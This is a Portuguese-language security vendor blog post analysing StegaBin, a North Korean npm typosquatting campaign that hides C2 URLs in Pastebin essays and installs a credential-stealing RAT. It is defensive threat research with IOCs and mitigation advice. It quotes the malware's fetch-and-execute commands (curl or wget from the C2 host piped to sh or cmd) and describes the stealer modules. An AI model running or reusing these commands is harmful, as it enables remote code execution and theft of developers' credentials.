In this article
Por dentro do StegaBin: como uma campanha de esteganografia da Coreia do Norte virou notícia
No fim de fevereiro de 2026, um agente de ameaças norte-coreano publicou 26 pacotes npm maliciosos em contas descartáveis, ao longo de dois dias. Os pacotes usavam esteganografia de texto para ocultar URLs de comando e controle em publicações do Pastebin disfarçadas de ensaios de ciência da computação. Eles implantavam um ladrão de informações e RAT com nove módulos, direcionado a credenciais de navegadores, carteiras de criptomoedas, chaves SSH e configurações do VS Code. A infraestrutura abrangia 31 implantações na Vercel com fallback automatizado.
A campanha gerou uma onda de cobertura: The Hacker News, SecurityOnline, GBHackers, DevOps.com e outros veículos publicaram matérias. A Socket publicou um artigo de pesquisa detalhado, ampliando de 17 para 26 o número de pacotes identificados originalmente.
Pelo que conseguimos constatar, os pacotes tiveram adoção insignificante no mundo real. Isso condiz com o que normalmente se observa na prática em campanhas desse tipo.
Cronologia
Data | Evento |
|---|---|
11 de fevereiro de 2026 | Publicações de isca no Pastebin são criadas |
25 de fevereiro de 2026 | Primeiros pacotes npm maliciosos publicados (\~19:38 UTC) |
26 de fevereiro de 2026 | Último lote publicado (\~10:35 UTC) |
\~2 de março de 2026 | kmsec.uk publica a pesquisa original (17 pacotes); Socket amplia a análise para 26 |
2 e 3 de março de 2026 | The Hacker News, SecurityOnline, GBHackers e outros publicam matérias sobre o caso |
6 de março de 2026 | Todos os pacotes são sinalizados e removidos do npm |
9 de março de 2026 | Todos os 26 avisos são publicados na Snyk Vulnerability Database |
O que o StegaBin realmente faz
Antes de analisar o que os dados revelam, vale entender o trabalho técnico envolvido. A campanha, atribuída ao grupo de ameaças alinhado à Coreia do Norte conhecido como Contagious Interview (também chamado FAMOUS CHOLLIMA, DeceptiveDevelopment e PurpleBravo), representa uma evolução na forma como malwares para npm resolvem sua infraestrutura de C2.
Os pacotes
Entre 25 e 26 de fevereiro de 2026, foram publicados 17 pacotes em contas npm descartáveis individuais. O pesquisador de segurança kmsec identificou o lote inicial; depois, a Socket ampliou a contagem para 26. Todos os pacotes seguem o mesmo padrão: typosquatting de bibliotecas populares, com nomes que parecem plausíveis.
Pacote | Imita | Publicado |
|---|---|---|
| dayjs | 26 de fev., 10:35 UTC |
| cors | 26 de fev., 10:33 UTC |
| sequelize | 26 de fev., 10:16 UTC |
| express | 26 de fev., 10:05 UTC |
| lodash | 25 de fev., 22:31 UTC |
| fastify | 25 de fev., 22:07 UTC |
| vitest | 25 de fev., 22:21 UTC |
| prism | 25 de fev., 22:13 UTC |
| argon2 | 25 de fev., 21:51 UTC |
| bcrypt | 25 de fev., 21:46 UTC |
| ethers | 25 de fev., 19:38 UTC |
(Lista completa dos 26: argonist, bcryptance, bee-quarl, bubble-core, corstoken, daytonjs, ether-lint, expressjs-lint, fastify-lint, formmiderable, hapi-lint, iosysredis, jslint-config, jsnwebapptoken, kafkajs-lint, loadash-lint, mqttoken, prism-lint, promanage, sequelization, typoriem, undicy-lint, uuindex, vitetest-lint, windowston, zoddle)
Todos os pacotes contêm código malicioso idêntico em vendor/scrypt-js/version.js (SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4). Um script install no package.json do pacote aciona node ./scripts/test/install.js, que simplesmente importa e executa essa carga maliciosa.
O truque da esteganografia
Foi isso que deu nome e destaque à campanha.
Em vez de inserir domínios de C2 diretamente no código (que seriam bloqueados com facilidade), o malware busca três publicações do Pastebin com aparência de ensaios comuns de ciência da computação. O texto esconde URLs de C2, codificadas por esteganografia em nível de caractere: caracteres em posições uniformemente espaçadas ao longo do ensaio são substituídos para formar endereços da infraestrutura.
O decodificador:
Remove os caracteres Unicode de largura zero do texto obtido
Lê um marcador de comprimento de 5 dígitos no início
Calcula posições de caracteres uniformemente espaçadas ao longo do texto
Extrai o caractere em cada posição
Divide o resultado usando o separador
|||, encerrando em===END===
As três iscas do Pastebin foram criadas em 11 de fevereiro de 2026, duas semanas antes da publicação dos pacotes:
URL do Pastebin | Autor | Visualizações |
|---|---|---|
| davidsouza23 | 353 |
| Edgar04231 | 15 |
| Edgar04231 | 19 |
A quantidade de visualizações conta sua própria história. A publicação principal foi acessada 353 vezes (provavelmente por uma combinação de análises de pesquisadores e execuções reais do malware). As alternativas quase não tiveram acessos.
Entrega de carga maliciosa específica para cada plataforma
A URL de C2 decodificada aponta para uma implantação na Vercel (ext-checkdin[.]vercel[.]app), com 31 domínios de fallback usando padrões como cleverstack-ext301, brightlaunch-app615, neuraldock-ext126. Agentes de usuário que não sejam do curl recebem uma página chamariz com a mensagem "Permanentemente suspenso".
O endpoint da Vercel entrega cargas maliciosas de shell específicas para cada plataforma:
# macOS
curl -s 'https://${c2Host}/api/m' | sh
# Drops ~/Library/tokenlinux.sh, executes via nohup
# Linux
wget -qO- 'https://${c2Host}/api/l' | sh
# Drops ~/.config/tokenlinux.npl, renames to .sh, executes via nohup
# Windows
curl -s https://${c2Host}/api/w | cmd
# Drops %APPDATA%\parse\token.cmdAs três variantes são executadas em segundo plano (spawn(shellPath, shellArgs, { stdio: 'ignore', detached: true })), sem gerar saída no console.
O ladrão de informações com nove módulos
A carga maliciosa final é um kit modular criado para extrair de forma abrangente credenciais e segredos da máquina de quem desenvolve:
Módulo | Alvo | Técnica |
|---|---|---|
bro | Credenciais de navegador | Coleta senhas salvas no Chrome, Firefox, Opera e Edge |
j | Carteiras de criptomoedas | Tem como alvo 86 IDs de extensões de navegador (MetaMask, Phantom, Coinbase Wallet etc.) |
vs | VS Code | Insere |
clip | Área de transferência/registrador de teclas | Monitora a área de transferência a cada 500 ms, usa ganchos de teclado de baixo nível e exfiltra dados em ciclos de 10 minutos |
git | Chaves SSH e credenciais do Git | Extrai |
z | Sistema de arquivos | Enumera arquivos com base em padrões e exfiltra os que correspondem |
truffle | Segredos no código | Baixa e executa o TruffleHog, uma ferramenta legítima de varredura de segredos, nos repositórios locais |
n | Acesso remoto | RAT persistente baseado em WebSocket (conecta-se a |
sched | Persistência | Reimplanta e restabelece todos os módulos após a reinicialização |
O módulo TruffleHog é uma escolha particularmente interessante: em vez de criar sua própria ferramenta para buscar segredos, os atacantes baixam e armam uma ferramenta de segurança de código aberto para encontrar chaves de API, tokens e credenciais na base de código da vítima.
Alguém realmente instalou esses pacotes?
O npm sinalizou e removeu os 26 pacotes. Os avisos de todos eles estão disponíveis na Snyk Vulnerability Database.
Com base nas visualizações do Pastebin (353 na publicação principal, 15 e 19 nas alternativas) e no fato de serem pacotes recém-criados, sem histórico de downloads, a adoção no mundo real parece ter sido insignificante.
Isso não surpreende quando analisamos o desenho da campanha. São pacotes recém-criados, sem histórico de downloads, sem dependentes e sem motivo para serem incluídos em qualquer projeto real. Os nomes são parecidos o suficiente com os de pacotes legítimos para enganar quem se lembra errado do nome de um pacote, mas expressjs-lint não vai aparecer por acaso no arquivo de dependências de ninguém. Esses pacotes chegam às vítimas por meio de um fluxo específico de engenharia social: um falso recrutador envia à pessoa candidata um "projeto de teste" que inclui o pacote malicioso nas dependências. O alvo são pessoas desenvolvedoras em entrevistas de emprego, não sistemas de produção.
Um padrão recorrente
A campanha Contagious Interview está em atividade desde o fim de 2023 e faz parte de uma tendência crescente de pacotes maliciosos em ecossistemas de código aberto. Grupos alinhados à Coreia do Norte publicaram centenas de pacotes npm maliciosos em dezenas de ondas. A Socket acompanha esses casos de perto e publicou pesquisas detalhadas sobre várias iterações. As técnicas evoluem (cargas no Bitbucket, depois stagers diretos, em seguida Google Drive e agora iscas esteganográficas no Pastebin), mas a estratégia fundamental é a mesma: publicar novos pacotes descartáveis, usá-los em ataques direcionados de engenharia social e torcer para que o alvo os instale.
Cada onda gera uma nova rodada de manchetes e, toda vez, o impacto real nas empresas é insignificante. O package-lock.json de ninguém está incluindo zoddle ou daytonjs. O vetor de ataque é a engenharia social direcionada a pessoas desenvolvedoras, e os pacotes são o meio de entrega, não o ponto de entrada.
Quando pacotes maliciosos realmente importam
As campanhas com pacotes maliciosos que exigem resposta a incidentes são aquelas que comprometem pacotes já presentes na sua árvore de dependências.
Em setembro de 2025, o worm Shai-Hulud se espalhou por versões trojanizadas de ngx-bootstrap, ng2-file-upload e @ctrl/tinycolor, pacotes com números reais de downloads e dependentes reais. Essa campanha inseriu ganchos maliciosos de postinstall em pacotes legítimos, coletando credenciais de npm, GitHub e nuvem em máquinas de desenvolvedores e agentes de CI. Em novembro, seu sucessor, o SHA1-Hulud, já havia afetado mais de 600 pacotes npm distintos, incluindo pacotes populares da Zapier, PostHog e Postman.

Ataque Shai-Hulud ao NPM: como corrigir com a Snyk
Para entender melhor como funcionam os comprometimentos de pacotes legítimos, confira a lição Comprometimento de pacotes legítimos no Snyk Learn.
O que isso significa para seu programa de segurança
Para a maioria das organizações, o risco prático de campanhas com pacotes maliciosos descartáveis é baixo. Veja o que ajuda:
1. Saiba o que há na sua árvore de dependências. Se você consegue responder em minutos — e não em dias — à pergunta "usamos algum desses 26 pacotes?", está em uma boa situação. Ferramentas como o Snyk Open Source sinalizam pacotes maliciosos em cada varredura. Assim, quando os avisos são publicados, os projetos afetados são identificados automaticamente.
# Scan your project (includes malicious package advisories)
snyk test2. Fixe suas dependências. Use arquivos de lock (package-lock.json, yarn.lock) e revise as alterações neles em pull requests. Pacotes maliciosos descartáveis só entram na sua base de código se alguém os adicionar explicitamente. Uma diferença no arquivo de lock que mostre um pacote novo e desconhecido é um sinal claro.
3. Concentre a resposta a incidentes no que chega à produção. Quando uma campanha com pacotes maliciosos vira notícia, a primeira pergunta é: "Algum desses pacotes está nos nossos projetos?" Se a resposta for não, reconheça a ameaça, confirme que você não foi afetado e siga em frente. Reserve a investigação aprofundada para os casos em que os pacotes comprometidos já estejam na sua árvore de dependências.
4. Oriente as pessoas desenvolvedoras sobre engenharia social baseada em recrutamento. A campanha Contagious Interview tem como alvo direto pessoas desenvolvedoras, por meio de falsas entrevistas de emprego e "projetos de avaliação". A sofisticação técnica está no malware, mas o acesso inicial usa uma técnica antiga: engenharia social. Desenvolvedores devem ter cautela ao executar projetos desconhecidos enviados por recrutadores, sobretudo quando exigem npm install com pacotes que não reconhecem.
Para saber mais sobre como proteger suas dependências npm, confira Segurança do NPM: como evitar ataques à cadeia de suprimentos e Como evitar pacotes maliciosos no blog da Snyk.
IOCs
Para equipes de detecção, estes são os principais indicadores da campanha. Conjuntos completos de IOCs também são mantidos por starmtp/IOCs, kraven-security/hunting-packages e stamparm/maltrail no GitHub.
Hashes de arquivos (SHA256):
# Main payload (vendor/scrypt-js/version.js) - identical across all 26 packages
da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4
# Platform-specific payloads
869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec # Linux
bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 # macOS
e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows
accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy "Permanently suspended" page
# Additional package/component hashes
ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6
ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9
714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add
1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636
ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4
78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4
4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12
978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8Indicadores de rede:
# C2 infrastructure
103.106.67[.]63:1244 # RAT command channel
103.106.67[.]63:1245 # Additional RAT port
103.106.67[.]63:1247 # WebSocket persistence
# Pastebin dead drops (steganographic C2 resolvers)
hxxps://pastebin[.]com/CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT
# Primary Vercel C2
ext-checkdin[.]vercel[.]app
# Vercel fallback domains (30 additional)
cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]appIndicadores de host:
~/Library/tokenlinux.sh(macOS)~/.config/tokenlinux.npl(Linux)%APPDATA%\parse\token.cmd(Windows)Arquivo
.vscode/tasks.jsonmodificado com espaços em branco de 186 caracteres (persistência no VS Code por meio do acionadorrunOn: "folderOpen")
Comportamento do processo:
Node.js iniciando
curlouwgetConsultas DNS do Node.js a
pastebin.comSolicitações de agente de usuário do
curl/wgeta implantações na VercelExecução do binário TruffleHog em caminhos não convencionais
WHITE PAPER
A crise de segurança da IA no seu ambiente Python
Com o ritmo de desenvolvimento acelerando cada vez mais, você sabe o que o seu ambiente de IA pode acessar?